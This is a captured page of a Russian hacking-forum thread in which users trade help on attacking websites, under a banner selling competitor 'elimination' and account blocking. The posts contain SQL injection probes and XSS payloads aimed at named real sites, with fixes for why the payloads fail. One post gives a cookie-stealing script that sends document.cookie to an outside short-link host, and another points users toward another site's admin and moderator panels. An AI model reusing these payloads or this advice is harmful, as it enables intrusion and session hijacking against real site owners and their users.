Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 32 из 296

« Первая

132

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#311

09.07.2015, 14:18

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от Br@!ns

↑
Помогите с выводом:
https://www.ibethel.org/payments/conference/index.php?conference_idr=144'+order+by+9+--+
https://www.ibethel.org/payments/co...e_idr=144'+and+substring(@@version,1,1)=5+--+

в таких случаях через blind парсите select info from information_schema.processlist и смотрите, почему так и как можно получить вывод

#312

10.07.2015, 03:02

ocheretko

Новичок

Регистрация: 15.05.2010

Сообщений: 0

Провел на форуме:
29

Репутация: 0

Иньекция в переменную JavaScript

Здравствуйте, подскажите, почему не выполняется alert:

Код:

http://0-99.net/?ac=2&slt=8&slr=1&lpt=1&query=\%27}%3B+alert%28%2Fxss%2F%29%3B%2F%2F%2F*&afdToken=CkAKEwjp7KW6k8_GAhVD4HIKHcuVA5gYAyAAULHPoAFosc-gAXE70B9vzKjYaJEBUbpy7KsxVDeRAXLdUtcEjNmhEhkAbTqKkDxz3zZHTsR-u1N6ySOikXD104RF&search=1

Вывод:

Код:

'searchText': '\\'}; Alert(/Xss/);///*',

-----------------------------------------------------------------------------------

Похожая проблема у меня и вот с этой xss:

Код:

http://zhannei.baidu.com/cse/search?q=\%22%3Balert%28%29%3B%2F%2F&click=1&entry=1&s=3856084255718604899&nsid=

Вывод:

Код:

pageLog["q"] = "\\\";alert();//";

#313

10.07.2015, 11:15

frank

Участник форума

Регистрация: 08.05.2015

Сообщений: 200

Провел на форуме:
56887

Репутация: 28

Цитата:

Сообщение от ocheretko

↑
Иньекция в переменную JavaScript
Здравствуйте, подскажите, почему не выполняется alert:

Код:

http://0-99.net/?ac=2&slt=8&slr=1&lpt=1&query=\%27}%3B+alert%28%2Fxss%2F%29%3B%2F%2F%2F*&afdToken=CkAKEwjp7KW6k8_GAhVD4HIKHcuVA5gYAyAAULHPoAFosc-gAXE70B9vzKjYaJEBUbpy7KsxVDeRAXLdUtcEjNmhEhkAbTqKkDxz3zZHTsR-u1N6ySOikXD104RF&search=1

Вывод:

Код:

'searchText': '\\'}; Alert(/Xss/);///*',

-----------------------------------------------------------------------------------
Похожая проблема у меня и вот с этой xss:

Код:

http://zhannei.baidu.com/cse/search?q=\%22%3Balert%28%29%3B%2F%2F&click=1&entry=1&s=3856084255718604899&nsid=

Вывод:

Код:

pageLog["q"] = "\\\";alert();//";

ну вот в этом случае

Цитата:

Сообщение от None

http://0-99.net/?

экранируется ' и вы не выходите за пределы значения параметра, соответственно все воспринимается как текст(значение параметра)

#314

10.07.2015, 12:30

ocheretko

Новичок

Регистрация: 15.05.2010

Сообщений: 0

Провел на форуме:
29

Репутация: 0

мне почему то думалось, что экранирующий слеш экранируется вторым слешом, и стает не экранированным

#315

10.07.2015, 12:46

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от ocheretko

↑
мне почему то думалось, что экранирующий слеш экранируется вторым слешом, и стает не экранированным

все верно. однако alert() у вас с большой буквы, такой функции нет. а во втором случае вы как раз не выходите за пределы кавычек, там же их три - \\\"

#316

10.07.2015, 23:14

Br@!ns

Постоянный

Регистрация: 03.09.2010

Сообщений: 885

Провел на форуме:
179197

Репутация: 25

http://www.sawadee.com/lib6/gmap/gmap3_aj.php?lg=en&q=tyfghfjjjjjjjgty')

Что нибудь интересненькое сделать можно?

#317

11.07.2015, 14:48

sander

Новичок

Регистрация: 14.06.2010

Сообщений: 0

Провел на форуме:
2065

Репутация: 0

Что это?

http://4cheat.ru/admincp/ единственное что там интересует дак токо это throttlepostsadmin.php . При переходе кидает сюда http://4cheat.ru/admincp/throttlepostsadmin.php . Но там тупо постое окно . Что делать? .

#318

11.07.2015, 23:50

djon

Новичок

Регистрация: 06.07.2015

Сообщений: 12

Провел на форуме:
2873

Репутация: 0

Можно ли скрипт img = new Image(); img.src = "http://qoo.by/3aG?"+document.cookie; укоротить до 45 символов ?

#319

11.07.2015, 23:56

3ran

Познающий

Регистрация: 27.07.2012

Сообщений: 39

Провел на форуме:
7728

Репутация: 5

Цитата:

Сообщение от SaNDER

↑
Что это?
http://4cheat.ru/admincp/
единственное что там интересует дак токо это
throttlepostsadmin.php
. При переходе кидает сюда
http://4cheat.ru/admincp/throttlepostsadmin.php
. Но там тупо постое окно . Что делать? .

Все просто,юзай вот эту ссылку - http://4cheat.ru/modcp/